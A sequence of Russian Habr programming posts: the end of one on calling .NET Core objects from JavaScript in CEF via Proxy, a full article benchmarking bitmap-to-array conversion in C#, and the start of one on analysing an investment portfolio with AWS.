key, args); }); return promise; } ``` И при получении асинхронного результата: ``` static SetPromiseResult(Successfully: boolean, TaskId: string, result: any) { let item = NetObject.PromiseDictioanary.get(TaskId); try { NetObject.PromiseDictioanary.delete(TaskId); // Вот здесь не могу установить результат Proxy с Target function // result = NetObject.WrapResult(result, true); // возникает исключение "Не найден then" if (Successfully) item.resolve(result); else item.reject(result); } catch (e) { item.reject("ошибка установки асинхронного результата " + e); alert("ошибка установки асинхронного результата " + e); } } ``` где: ``` static PromiseDictioanary = new Map(); ``` Весь код можно посмотреть ниже под спойлером: **Весь код NetProxy** ``` declare var window: WindowInterface; declare var $_: Symbol; declare var _$: Symbol; export interface WindowInterface { CallNetMethod(Id: number, MethodName: string, args?: any[]): any;// Вызов метода CallNetDelegate(Id: number, args?: any[]): any; // Вызов делегата CallNetPropertySet(Id: number, PropertyName: string, value: any): void; // Установка свойства CallNetPropertyGet(Id: number, PropertyName: string): any; // Полусение значения свойства DeleteNetObject(Id: number): void; // Освободить ссылку на объект со стороны .Net // Асинхронный вызов метода возвращающий Task или Task CallAsyncNetObjectFunction(Id: number, MethodName: string, TaskId: string, args?: any[]): any; // Регистрация метода на стороне CEF, для установки результата Promise RegisterCallBacks(SetAsyncResult: (Successfully: boolean, TaskId: string, result: any) => void): void; // Вызов дженерик метода с указанием типов аргументов CallNetObjectGenericFunction(Id: number, MethodName: string, types: any[], args?: any[]): any; // Вызов итератора IEnumerator MoveNext на стороне .Net IteratorNext(Id: number): any; } class ResultCallAsProp { constructor(public Successfully: boolean, public result?: any) { }; } export interface NetObjectinterface { (): void; Id: number; isNetObject: boolean; IsAsyncCall?: boolean; CallAsProp(target: NetObject, name: any): ResultCallAsProp; Execute: (target: NetObject, name: any, args: any[]) => any; } export var NetObjectHandler: ProxyHandler = { get: (target, name: any) => { let res = target.CallAsProp(target, name); if (res.Successfully) return res.result; return (...args: any[]) => { return target.Execute(target, name, args); } }, set: function (target, prop, value, receiver) { return NetObject.SetPropertyValue(target, prop, value, receiver); }, apply: (target, that, args) => { if (args.length == 1) { var param = args[0]; if (param === NetObject.FlagGetObject) return target; else if (param === NetObject.FlagDeleteObject) { window.DeleteNetObject(target.Id); return undefined; } } NetObject.SetArgs(args); let res = window.CallNetDelegate(target.Id, args) return NetObject.WrapResult(res, true); }, construct: (target, argumentsList, newTarget) => { // var res = NetObject.GetNetObject(5); // return new Proxy(res, NetObjectHandler) NetObject.SetArgs(argumentsList); argumentsList.unshift(target); let res = window.CallNetMethod(0, "Новый", argumentsList); return NetObject.WrapResult(res, true); } } function getNetObject(id: number): NetObjectinterface { let netObject = function (start: number) { }; netObject.Id = id; netObject.isNetObject = true; netObject[NetObject.isNetclass] = true; netObject.Execute = NetObject.Execute; netObject.CallAsProp = NetObject.CallAsProp; return netObject; } function GetNetProxy(): any { let res = getNetObject(0); if (NetObject.FlagFirstLoad) { try { window.RegisterCallBacks(NetObject.SetPromiseResult); } catch (e) { // alert("ошибка " + e); } NetObject.FlagFirstLoad = false; } return new Proxy(res, NetObjectHandler); } export class NetObject { static GetNetObject(id: number) { return getNetObject(id); } static isNetclass = Symbol(); static IsAsyncCall = Symbol(); static FlagGetObject = Symbol(); static FlagDeleteObject = Symbol(); static FlagFirstLoad = true; static NetWrapper = GetNetProxy(); static PromiseDictioanary = new Map(); static GetIterator(target: NetObjectinterface): any { return function () { let IdIterator = window.CallNetMethod(0, "GetIterator", [target]).Id; return { next: function () { let value = window.IteratorNext(IdIterator); if (value === undefined) { return { value: undefined, done: true }; } else return { value: NetObject.WrapResult(value, true), done: false } } } } } static WrapResult(value: any, ReturnProxy: boolean = false): any { if (typeof value == "object") { if ("IsNetObject" in value) { let res = getNetObject(value.Id); if (ReturnProxy) return new Proxy(res, NetObjectHandler); else return res } } return value; } static WrapObject(value: any): any { if (typeof value == "function") { if (NetObject.isNetclass in value) return new Proxy(value, NetObjectHandler); } } static GetPropertyValue(target: NetObjectinterface, name: any): any { let res = window.CallNetPropertyGet(target.Id, name); return NetObject.WrapResult(res, true); } static SetPropertyValue(target: NetObjectinterface, prop: any, value: any, receiver: any): any { let res = window.CallNetPropertySet(target.Id, prop, NetObject.GetTarget(value)); return true; } static CallAsProp(Target: NetObjectinterface, name: any): ResultCallAsProp { if (name === Symbol.iterator) { return new ResultCallAsProp(true, NetObject.GetIterator(Target)); } if (name === Symbol.toPrimitive) { return new ResultCallAsProp(true, () => { return `Id= ${Target.Id}, isNetObject= ${Target.isNetObject}` }); } if (name.startsWith('\_')) { return new ResultCallAsProp(true, NetObject.GetPropertyValue(Target, name.substring(1))); } if (name === "async") { let res = getNetObject(Target.Id); res.Execute = NetObject.ExecuteAsync; res.CallAsProp = NetObject.CallAsPropAsync; return new ResultCallAsProp(true, new Proxy(res, NetObjectHandler)); } return new ResultCallAsProp(false); } static CallAsPropAsync(Target: NetObjectinterface, name: any): ResultCallAsProp { return new ResultCallAsProp(false); } static GetPromise(Target: NetObjectinterface, name: any, args: any[]) { let key = window.CallNetMethod(0, "GetUniqueString"); let promise = new Promise((resolve, reject) => { NetObject.PromiseDictioanary.set(key, { resolve: resolve, reject: reject }); window.CallAsyncNetObjectFunction(Target.Id, name, key, args); }); return promise; } static GetTarget(obj: any): any { if (typeof obj == "function") { if (NetObject.isNetclass in obj) return obj(NetObject.FlagGetObject); } return obj; } static SetArgs(args: any[]) { for (let i in args) { let obj = args[i]; if (typeof obj == "function") { if (NetObject.isNetclass in obj) args[i] = obj(NetObject.FlagGetObject); } } } static SetPromiseResult(Successfully: boolean, TaskId: string, result: any) { let item = NetObject.PromiseDictioanary.get(TaskId); try { NetObject.PromiseDictioanary.delete(TaskId); // result = NetObject.WrapResult(result, true); if (Successfully) item.resolve(result); else item.reject(result); } catch (e) { item.reject("ошибка установки асинхронного результата " + e); alert("ошибка установки асинхронного результата " + e); } } static CheckGenericMethod(args: any[]): any { var argsCount = args.length; if (argsCount > 0 && args[0] instanceof Array) { var types = args[0].slice(); NetObject.SetArgs(types); var args2 = args.slice(1); NetObject.SetArgs(args2); return { IsGeneric: true, types: types, args: args2 } } return { IsGeneric: false }; } static Execute(Target: NetObjectinterface, name: any, args: any[]) { let res = undefined; let chek = NetObject.CheckGenericMethod(args); if (chek.IsGeneric) { res = window.CallNetObjectGenericFunction(Target.Id, name, chek.types, chek.args); } else { NetObject.SetArgs(args); res = window.CallNetMethod(Target.Id, name, args); } return NetObject.WrapResult(res, true); } static ExecuteAsync(Target: NetObjectinterface, name: any, args: any[]) { let res = undefined; let chek = NetObject.CheckGenericMethod(args); if (chek.IsGeneric) { let Target0 = getNetObject(0); let task = window.CallNetObjectGenericFunction(Target.Id, name, chek.types, chek.args); res = NetObject.GetPromise(Target0, "ReturnParam", [getNetObject(task.Id)]); window.DeleteNetObject(task.Id); } else { NetObject.SetArgs(args); res = NetObject.GetPromise(Target, name, args); } return res; } static New(Target: NetObjectinterface, name: any, args: any[]): any { NetObject.SetArgs(args); var res = window.CallNetMethod(0, "Новый", args); return NetObject.WrapResult(res, true); } static DeleteNetObjets(...args: any[]) { for (let item of args) item(NetObject.FlagDeleteObject); } } ``` Прошу прощение за моё незнание С++. Но, делать было нужно сейчас, а я на нем не пишу. Не смог прикрутить Dev Tools к CefSimple: **Код CEF обертки для обмена между JS и .Net Core** ``` #include "include/CEF_V8.H" #include "ManagedDomainLoader.h" #include "CefV8HandlersForNet.h" #include "types.h" #include "NetConverter.h" #include "include/base/cef_bind.h" #include "include/wrapper/cef_closure_task.h" #include #include "include/base/cef\_platform\_thread.h" namespace NetObjectToNative{ BaseClassForNetHandlers::BaseClassForNetHandlers(ManagedDomainLoader\* mD) { this->mD = mD; } bool CallNetObjectFunction::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); vector savedstrings; NetObjectToNative::tVariant\* Params = nullptr; int Target = arguments[0]->GetIntValue(); wstring MethodMame = arguments[1]->GetStringValue().ToWString(); CefRefPtr params; size\_t argCount = 0; if (argumentsCount == 3) { params = arguments[2]; if (!params->IsArray()) { exception = CefString(L"Для вызова метода 3 параметр должен быть массивом"); return true; } argCount = params->GetArrayLength(); } if (argCount > 0) { savedstrings.reserve(argCount); Params = new NetObjectToNative::tVariant[argumentsCount]; NetObjectToNative::tVariant\* Param = Params; for (size\_t i = 0; i < argCount; ++i) { NetObjectToNative::ConvertCEFtoNet(params->GetValue(i), &Param[i], savedstrings); } } wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; bool res = mD->pCallAsFunc(Target, MethodMame.c\_str(), &RetVal, Params, argCount, &Error); if (res) { retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); } else { if (Error) exception = CefString(std::wstring(Error)); delete Error; } if (Params) delete[] Params; return true; } //====================== ============================================ bool CallAsyncNetObjectFunction::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); vector savedstrings; NetObjectToNative::tVariant\* Params = nullptr; int Target = arguments[0]->GetIntValue(); wstring MethodMame = arguments[1]->GetStringValue().ToWString(); wstring TaskId = arguments[2]->GetStringValue().ToWString(); CefRefPtr params; size\_t argCount = 0; if (argumentsCount == 4) { params = arguments[3]; if (!params->IsArray()) { exception = CefString(L"Для вызова асинхронного метода 4 параметр должен быть массивом"); return true; } argCount = params->GetArrayLength(); } if (argCount > 0) { savedstrings.reserve(argCount); Params = new NetObjectToNative::tVariant[argumentsCount]; NetObjectToNative::tVariant\* Param = Params; for (size\_t i = 0; i < argCount; ++i) { NetObjectToNative::ConvertCEFtoNet(params->GetValue(i), &Param[i], savedstrings); } } wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; //bool res = mD->pCallAsFunc(Target, MethodMame.c\_str(), &RetVal, Params, argCount, &Error); bool res = mD->pCallAsyncFunc(Target, MethodMame.c\_str(), this->cfn, TaskId.c\_str(), Params, argCount, &Error); if (res) { retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); } else { if (Error) exception = CefString(std::wstring(Error)); delete Error; } if (Params) delete[] Params; return true; } //============================ Call Generic Function bool CallNetObjectGenericFunction::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); vector savedstrings; NetObjectToNative::tVariant\* Params = nullptr; NetObjectToNative::tVariant\* ParamsTypes = nullptr; int Target = arguments[0]->GetIntValue(); wstring MethodMame = arguments[1]->GetStringValue().ToWString(); CefRefPtr params; CefRefPtr types= arguments[2]; size\_t typesCount= types->GetArrayLength(); size\_t argCount = 0; if (argumentsCount == 4) { params = arguments[3]; if (!params->IsArray()) { exception = CefString(L"Для вызова метода 4 параметр должен быть массивом"); return true; } argCount = params->GetArrayLength(); } savedstrings.reserve(argCount+ typesCount); ParamsTypes = new NetObjectToNative::tVariant[typesCount]; for (size\_t i = 0; i < typesCount; ++i) { NetObjectToNative::ConvertCEFtoNet(types->GetValue(i), &ParamsTypes[i], savedstrings); } if (argCount > 0) { Params = new NetObjectToNative::tVariant[argumentsCount]; NetObjectToNative::tVariant\* Param = Params; for (size\_t i = 0; i < argCount; ++i) { NetObjectToNative::ConvertCEFtoNet(params->GetValue(i), &Param[i], savedstrings); } } wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; bool res = mD->pCallAsGenericFunc(Target, MethodMame.c\_str(), &RetVal, ParamsTypes, typesCount, Params, argCount, &Error); if (res) { retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); } else { if (Error) exception = CefString(std::wstring(Error)); delete Error; } if (Params) delete[] Params; delete[] ParamsTypes; return true; } //===================== CallNetDelegate bool CallNetDelegate::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); vector savedstrings; NetObjectToNative::tVariant\* Params = nullptr; int Target = arguments[0]->GetIntValue(); CefRefPtr params; size\_t argCount = 0; if (argumentsCount == 2) { params = arguments[1]; if (!params->IsArray()) { exception = CefString("Для вызова делегата 2 параметр должен быть массивом"); return true; } argCount = params->GetArrayLength(); } if (argCount > 0) { savedstrings.reserve(argCount); Params = new NetObjectToNative::tVariant[argumentsCount]; NetObjectToNative::tVariant\* Param = Params; for (size\_t i = 0; i < argCount; ++i) { NetObjectToNative::ConvertCEFtoNet(params->GetValue(i), &Param[i], savedstrings); } } wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; bool res = mD->pCallAsDelegate(Target, &RetVal, Params, argCount, &Error); if (res) { retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); } else { if (Error) exception = CefString(std::wstring(Error)); delete Error; } if (Params) delete[] Params; return true; } // CallNetObjectPropertySet bool CallNetObjectPropertySet::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); if (argumentsCount != 3) { exception = CefString(L"Для PropertySet должно быть 3 параметра"); return true; } vector savedstrings; int Target = arguments[0]->GetIntValue(); wstring PropertyName = arguments[1]->GetStringValue().ToWString(); CefRefPtr value = arguments[2]; savedstrings.reserve(1); NetObjectToNative::tVariant Param; NetObjectToNative::ConvertCEFtoNet(value, &Param, savedstrings); wchar\_t\* Error = nullptr; bool res = mD->pSetPropVal(Target, PropertyName.c\_str(), &Param, &Error); if (!res) { if (Error) { exception = CefString(std::wstring(Error)); delete Error; } else exception = CefString(L"Ошибка при установке свойства"+ PropertyName); } return true; } bool DeleteNetObject::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); if (argumentsCount != 1) { exception = CefString(L"Для DeleteObject Должно быть 1 параметра"); return true; } CefRefPtr value = arguments[0]; mD->pDeleteObject(value->GetIntValue()); return true; } bool IteratorNext::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { const size\_t argumentsCount = arguments.size(); if (argumentsCount != 1) { exception = CefString(L"Для IteratorNext Должно быть 1 параметра"); return true; } CefRefPtr value = arguments[0]; wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; bool res= mD->pIteratorNext(value->GetIntValue(),&RetVal, &Error); if (res) { retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); } else { retval = CefV8Value::CreateUndefined(); if (Error) { exception = CefString(std::wstring(Error)); delete Error; } } return true; } bool CallNetObjectPropertyGet::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { int Target = arguments[0]->GetIntValue(); wstring PropertyName = arguments[1]->GetStringValue().ToWString(); wchar\_t\* Error = nullptr; NetObjectToNative::tVariant RetVal; bool res = mD->pGetPropVal(Target, PropertyName.c\_str(), &RetVal,&Error); if (!res) { if (Error) { exception = CefString(std::wstring(Error)); delete Error; } else exception = CefString(L"Ошибка при установке свойства " + PropertyName); } else retval = NetObjectToNative::ConvertNetToCef(&RetVal, true); return true; } void SetHandlerToContex(CefRefPtr Handler, CefRefPtr object, const char\* MetodName) { CefRefPtr CallNetObject = CefV8Value::CreateFunction(MetodName, Handler); // Add the "myfunc" function to the "window" object. object->SetValue(MetodName, CallNetObject, V8\_PROPERTY\_ATTRIBUTE\_NONE); } void ContextForNetHandlers::OnContextCreated(CefRefPtr browser, CefRefPtr frame, CefRefPtr context) { this->context = context; // Retrieve the context's window object. CefRefPtr object = context->GetGlobal(); NetObjectToNative::ManagedDomainLoader\* mD = NetObjectToNative::ManagedDomainLoader::InitManagedDomain(L"c:\\Program Files\\DNX\\runtimes\\dnx-coreclr-win-x86.1.0.0-rc1-update1\\bin\\", L"", L""); //=========== CallNetMethod ======================================================= SetHandlerToContex(new CallNetObjectFunction(mD), object, "CallNetMethod"); //=========== CallNetDelegate ======================================================= SetHandlerToContex(new CallNetDelegate(mD), object, "CallNetDelegate"); //=========== PropertySet ======================================================= SetHandlerToContex(new CallNetObjectPropertySet(mD), object, "CallNetPropertySet"); //=========== PropertyGet ======================================================= SetHandlerToContex(new CallNetObjectPropertyGet(mD), object, "CallNetPropertyGet"); //=========== PropertyGet ======================================================= SetHandlerToContex(new DeleteNetObject(mD), object, "DeleteNetObject"); //=========== SetCallBacks ======================================================= SetHandlerToContex(new SetCallBacks(mD, this, object), object, "RegisterCallBacks"); //============ CallAsyncNetObjectFunction ================================ SetHandlerToContex(new CallAsyncNetObjectFunction(mD, this), object, "CallAsyncNetObjectFunction"); //============ CallNetObjectGenericFunction ================================ SetHandlerToContex(new CallNetObjectGenericFunction(mD), object, "CallNetObjectGenericFunction"); //============ IteratorNext ================================ SetHandlerToContex(new IteratorNext(mD), object, "IteratorNext"); } void ContextForNetHandlers::AsyncCalBack(const wchar\_t\* TaskID, bool Successfully, tVariant\* ReturnValue) { if (!CefCurrentlyOn(TID\_RENDERER)) { // Execute on the UI thread. // CefPostTask(TID\_UI, base::Bind(&AsyncCalBack2, TaskID, Successfully,ReturnValue, CallbackContext)); CefPostTask(TID\_RENDERER, base::Bind(&SetCallBacks::AsyncCalBack, this->scb, TaskID, Successfully, ReturnValue)); return; } scb->AsyncCalBack(TaskID, Successfully, ReturnValue); } //==================== Set CallBacs bool SetCallBacks::Execute(const CefString& name, CefRefPtr object, const CefV8ValueList& arguments, CefRefPtr& retval, CefString& exception) { this\_id = std::this\_thread::get\_id(); if (arguments.size() == 1 && arguments[0]->IsFunction()) { AsyncMetodCall = arguments[0]; CallbackContext = CefV8Context::GetCurrentContext(); cfn->scb = this; /\*CefV8ValueList args; args.push\_back(CefV8Value::CreateBool(true)); args.push\_back(CefV8Value::CreateString(L"Первый")); args.push\_back(CefV8Value::CreateString(L"Второй")); if (AsyncMetodCall->ExecuteFunctionWithContext(CallbackContext, globalObj, args)) { }\*/ return true; } return true; } void SetCallBacks::AsyncCalBack(const wchar\_t\* TaskID, bool Successfully, tVariant\* ReturnValue) { CefV8ValueList args; std::thread::id Curr\_id = std::this\_thread::get\_id(); if (this\_id != Curr\_id) { } if (CallbackContext.get() && CallbackContext->Enter()) { args.push\_back(CefV8Value::CreateBool(true)); args.push\_back(CefV8Value::CreateString(TaskID)); delete[] TaskID; if (ReturnValue==nullptr) args.push\_back(CefV8Value::CreateUndefined()); else { args.push\_back(NetObjectToNative::ConvertNetToCef(ReturnValue, true)); delete[] ReturnValue; } if (AsyncMetodCall->ExecuteFunctionWithContext(CallbackContext, globalObj, args)) { } CallbackContext->Exit(); } } } ``` В планах добавить события по аналогии с [1С,.Net Core. Динамическая компиляция класса обертки для получения событий .Net объекта в 1С](https://habrahabr.ru/post/309850/). Если вдруг кого то заинтересовало, то проекты и исходники можно скачать [здесь](https://yadi.sk/d/0If7C5jZ3CEhmf). Краткое описание содержимого. В каталоге cefsimple\Release\ лежит исполняемый файл с библиотеками и начальной страницей Test.html. В каталоге cefsimple\NetObjectToNative\ лежат все файлы для обмена между CEF и .Net Core. ManagedDomainLoader и ClrLoader отвечают за загрузку .Net Core, получения и передачу методов для обмена данными. В CefV8HandlersForNet реализованы Хэндлеры для обмена между JS и CEF. В NetConverter конвертация данными между Net и Cef. В NetObjectToCEF лежат файлы которые реализуют обмен с CEF. В TestDllForCoreClr лежат все используемые примеры для Тестовый. В файле TestTypeScript\TestTypeScript\app\ лежат файлы ts которые и реализуют Proxy. NetProxy.ts файл реализующий Proxy. home.component.ts тест с AngleSharp. counter.component.ts различные тесты возможностей. TestSpeed.ts тесты скорости выполнения Так жепроект без node\_modules. установите через вызов в директории TestTypeScript npm install Суть тестов такова. Запускаете TestTypeScript и CefProgects\cefsimple\Release\cefsimple.exe. На начальной странице можно попробовать тесты на JS. Для использования тестов на TS нужно перейти на сайт который нужно указать в поле ниже «Введите адрес сайта « что бы перейти на него»». Там три теста. Если хотите компилировать cefsimple. То скачайте отсюда [opensource.spotify.com/cefbuilds/index.html](http://opensource.spotify.com/cefbuilds/index.html) 32-разрядный Standard Distribution и замените в директории tests\cefsimple\ сс и h файлы и скопируйте директорию NetObjectToNative. Для использования VS 2015 введите в корневом каталоге CEF cmake.exe -G «Visual Studio 14» Для VS 2017 cmake.exe -G «Visual Studio 15 2017». Спасибо за внимание!
https://habr.com/ru/post/320960/
null
ru
null
# Работа с растром на низком уровне для начинающих ![](https://habrastorage.org/r/w780q1/storage3/065/ee2/a4f/065ee2a4faabd325e8c2833c5b95dac3.jpg)Поводом для данной статьи стал следующий пост: [«Конвертация bmp изображения в матрицу и обратно для дальнейшей обработки»](http://habrahabr.ru/post/195344/). В свое время, мне немало пришлось написать исследовательского кода на C#, который реализовывал различные алгоритмы сжатия, обработки. То, что код исследовательский, я упомянул не случайно. У этого кода своеобразные требования. С одной стороны, оптимизация не очень важна – ведь важно проверить идею. Хотя и хочется, чтобы эта проверка не растягивалась на часы и дни (когда идет запуск с различными параметрами, либо обрабатывается большой корпус тестовых изображений). Примененный в вышеупомянутом посте способ обращения к яркостям пикселов bmp.GetPixel(x, y) – это то, с чего начинался мой первый проект. Это самый медленный, хотя и простой способ. Стоит ли тут заморачиваться? Давайте, замерим. Использовать будем классический Bitmap (System.Drawing.Bitmap). Данный класс удобен тем, что скрывает от нас детали кодирования растровых форматов – как правило, они нас и не интересуют. При этом поддерживаются все распространенные форматы, типа BMP, GIF, JPEG, PNG. Кстати, предложу для начинающих первую пользу. У класса Bitmap есть конструктор, который позволяет открыть файл с картинкой. Но у него есть неприятная особенность – он оставляет открытым доступ к этому файлу, поэтому повторные обращения к нему приводят к эксепшену. Чтобы исправить это поведение, можно использовать такой метод, заставляющий битмап сразу «отпустить» файл: ``` public static Bitmap LoadBitmap(string fileName) { using (FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read)) return new Bitmap(fs); } ``` #### Методика замеров Замерять будем, перегоняя в массив и обратно в Bitmap классику обработки изображений – Лену (<http://en.wikipedia.org/wiki/Lenna>). Это свободное изображение, его можно встретить в большом количестве работ по обработке изображений (и в заголовке данного поста тоже). Размер – 512\*512 пикселов. Немного о методике – в таких случаях я предпочитаю не гоняться за сверхточными таймерами, а просто много раз выполнять одно и то же действие. Конечно, с одной стороны, в этом случае данные и код уже будут в кэше процессора. Но, зато мы вычленяем затраты на первый запуск кода, связанный с переводом MSIL-кода в код процессора и другие накладные расходы. Чтобы гарантировать это, предварительно запускаем каждый кусок кода один раз – выполняем так называемый «прогрев». Компилируем код в Release. Запускаем его обязательно не из-под студии. Более того, студию также желательно закрыть – сталкивался со случаями, когда сам факт её «запущенности» иногда сказывается на полученных результатах. Также, желательно закрыть и другие приложения. Запускаем код несколько раз, добиваясь типичных результатов – необходимо убедиться, что на нем не сказывается какой-то неожиданный процесс. Скажем, проснулся антивирус или еще что-то. Все эти меры позволяют нам получить стабильные, повторяемые результаты. #### «Наивный» метод Именно этот метод был применен в оригинальной статье. Он состоит в том, что используется метод Bitmap.GetPixel(x, y). Приведем полностью код подобного метода, который конвертирует содержимое битмапа в трехмерный байтовый массив. При этом первая размерность – это цветовая компонента (от 0 до 2), вторая – позиция y, третья – позиция x. Так сложилось в моих проектах, если вам захочется расположить данные иначе – думаю, проблем не возникнет. ``` public static byte[, ,] BitmapToByteRgbNaive(Bitmap bmp) { int width = bmp.Width, height = bmp.Height; byte[, ,] res = new byte[3, height, width]; for (int y = 0; y < height; ++y) { for (int x = 0; x < width; ++x) { Color color = bmp.GetPixel(x, y); res[0, y, x] = color.R; res[1, y, x] = color.G; res[2, y, x] = color.B; } } return res; } ``` Обратное преобразование аналогично, только перенос данных идет в другом направлении. Я не буду приводить его код здесь – желающие могут посмотреть в исходных кодах проекта по ссылке в конце статьи. 100 преобразований в изображение и обратно на моем ноутбуке с процессором I5-2520M 2.5GHz, требуют 43.90 сек. Получается, что при изображении 512\*512, только на перенос данных, тратится порядка полусекунды! #### Прямая работа с данными Bitmap К счастью, класс Bitmap предоставляет более быстрый способ обратиться к своим данным. Для этого нам необходимо воспользоваться ссылками, предоставляемыми классом BitmapData и адресной арифметикой: ``` public unsafe static byte[, ,] BitmapToByteRgb(Bitmap bmp) { int width = bmp.Width, height = bmp.Height; byte[, ,] res = new byte[3, height, width]; BitmapData bd = bmp.LockBits(new Rectangle(0, 0, width, height), ImageLockMode.ReadOnly, PixelFormat.Format24bppRgb); try { byte* curpos; for (int h = 0; h < height; h++) { curpos = ((byte*)bd.Scan0) + h * bd.Stride; for (int w = 0; w < width; w++) { res[2, h, w] = *(curpos++); res[1, h, w] = *(curpos++); res[0, h, w] = *(curpos++); } } } finally { bmp.UnlockBits(bd); } return res; } ``` Такой подход дает нам получить 0.533 секунды на 100 преобразований (ускорились в 82 раза)! Думаю, это уже отвечает на вопрос – а стоит ли писать более сложный код преобразования? Но можем ли мы еще ускорить процесс, оставаясь в рамках managed-кода? #### Массивы vs указатели Многомерные массивы являются не самыми быстрыми структурами данных. Здесь производятся проверки на выход за пределы индекса, сам элемент вычисляется, используя операции умножения и сложения. Поскольку адресная арифметика уже дала нам один раз существенное ускорение при работе с данными Bitmap, то может быть, попробуем её применить и для многомерных массивов? Вот код прямого преобразования: ``` public unsafe static byte[, ,] BitmapToByteRgbQ(Bitmap bmp) { int width = bmp.Width, height = bmp.Height; byte[, ,] res = new byte[3, height, width]; BitmapData bd = bmp.LockBits(new Rectangle(0, 0, width, height), ImageLockMode.ReadOnly, PixelFormat.Format24bppRgb); try { byte* curpos; fixed (byte* _res = res) { byte* _r = _res, _g = _res + width*height, _b = _res + 2*width*height; for (int h = 0; h < height; h++) { curpos = ((byte*)bd.Scan0) + h * bd.Stride; for (int w = 0; w < width; w++) { *_b = *(curpos++); ++_b; *_g = *(curpos++); ++_g; *_r = *(curpos++); ++_r; } } } } finally { bmp.UnlockBits(bd); } return res; } ``` Результат? 0.162 сек на 100 преобразований. Так что ускорились еще в 3.3 раза (270 раз по сравнению с «наивной» версией). Именно подобный код и использовался мною при исследованиях алгоритмов. #### Зачем вообще переносить? Не совсем очевидно, а зачем вообще переносить данные из Bitmap. Может вообще, все преобразования осуществлять именно там? Соглашусь, что это один из возможных вариантов. Но, дело в том, что многие алгоритмы удобнее проверять на данных с плавающей запятой. Тогда нет проблем с переполнениями, потерей точности на промежуточных этапах. Преобразовать в double/float-массив можно аналогичным способом. Обратное преобразование требует проверки при конвертации в byte. Вот простой код такой проверки: ``` private static byte Limit(double x) { if (x < 0) return 0; if (x > 255) return 255; return (byte)x; } ``` Добавление таких проверок и преобразование типов замедляет наш код. Версия с адресной арифметикой на double-массивах исполняется уже 0.713 сек (на 100 преобразований). Но на фоне «наивного» варианта – она просто молния. #### А если нужно быстрее? Если нужно быстрее, то пишем перенос, обработку на C, Asm, используем SIMD-команды. Загружаем растровый формат напрямую, без обертки Bitmap. Конечно, в этом случае мы выходим за пределы Managed-кода, со всеми вытекающими плюсами и минусами. И делать это имеет смысл для уже отлаженного алгоритма. Полный код к статье можно найти здесь: [rasterconversion.codeplex.com/SourceControl/latest](https://rasterconversion.codeplex.com/SourceControl/latest) **Update 2013-10-08:** По предложению комментаторов, добавил в код вариант переноса данных в массив с помощью Marshal.Copy(). Это сделано чисто с тестовыми целями — у такого способа работы есть свои ограничения: * Порядок данных точно такой же, как и в оригинальном Bitmap. Т.е., компоненты перемешаны. Если мы хотим их отделить друг от друга — нужно будет все-равно проходиться циклом по массиву, копируя данные. * Тип у яркости остается byte, в то же время, часто бывает удобно промежуточные вычисления выполнять с плавающей запятой. * Marshal.Copy() работает с одномерными массивами. Да, они конечно самые быстрые и не очень сложно везде писать rgb[x+width\*y], но все-таки... Итак, копирование в две стороны происходит за 0.158 сек (на 100 преобразований). По сравнению с более гибким вариантом на указателях, ускорение очень небольшое, в пределах статистической погрешности результатов разных запусков. **Update 2016-04-25:** Пользователь [Ant00](https://habrahabr.ru/users/ant00/) указал на ошибку в коде метода BitmapToByteRgbQ. Она не сказывалась на времени, но перекладывание осуществлялось неправильно. Была ошибка при копипасте фрагментов из работающего кода. Поправил. Спасибо за настойчивость (не с первого раза я внимательно рассмотрел код в статье, которой уже 2.5 года).
https://habr.com/ru/post/196578/
null
ru
null
# Облачные сервисы Amazon и анализ инвестиционного портфеля В последнее время на фондовых рынках наблюдается высокая волатильность, когда, например, стабильная бумага известной компании может враз потерять сразу несколько процентов на новостях о санкциях против ее руководства или наоборот взлететь до небес на позитивном отчете и ожиданиях инвесторов о сверхприбыльных дивидендах. Как же определить, принесло ли владение данной ценной бумагой доход или одни лишь убытки и разочарование? ![](https://habrastorage.org/r/w1560/webt/q3/2q/zs/q32qzs8fmzzpilpnbmfcek6l57a.png)[(Источник)](https://www.Vecteezy.com) В этой статье я расскажу Вам как определять и визуализировать скорректированный финансовый результат по ценным бумагам. На примере клиентской отчетности Открытие Брокер мы рассмотрим парсинг и консолидацию брокерских отчетов для фондового рынка, построение архитектуры облачной отчетной системы с последующим простым и удобным анализом в AWS Quicksight. Описание задачи --------------- Многие тренинги и обучающие уроки твердят нам о необходимости ведения трейдерского журнала, где фиксируются все параметры сделки для дальнейшего анализа и подведения итогов работы торговой стратегии. Согласен, что такой подход работы на Бирже позволяет дисциплинировать трейдера, повысить его сознательность, но может и здорово утомить от нудного процесса. Признаюсь, поначалу и я пробовал старательно следовать совету ведения журнала, скрупулёзно записывал каждую сделку с ее параметрами в таблицу Excel, строил какие-то отчеты, сводные диаграммы, планировал будущие сделки, но… мне все это быстро надоело. **Почему вести журнал трейдера вручную - это неудобно?*** ручное заполнение журнала (даже с использованием частичной автоматизации, в виде выгрузки из торгового терминала сделок за день) быстро утомляет; * высок риск возникновения ошибки или опечатки при ручном вводе; * может случиться так, что активный трейдер становится пассивным инвестором и он все реже и реже 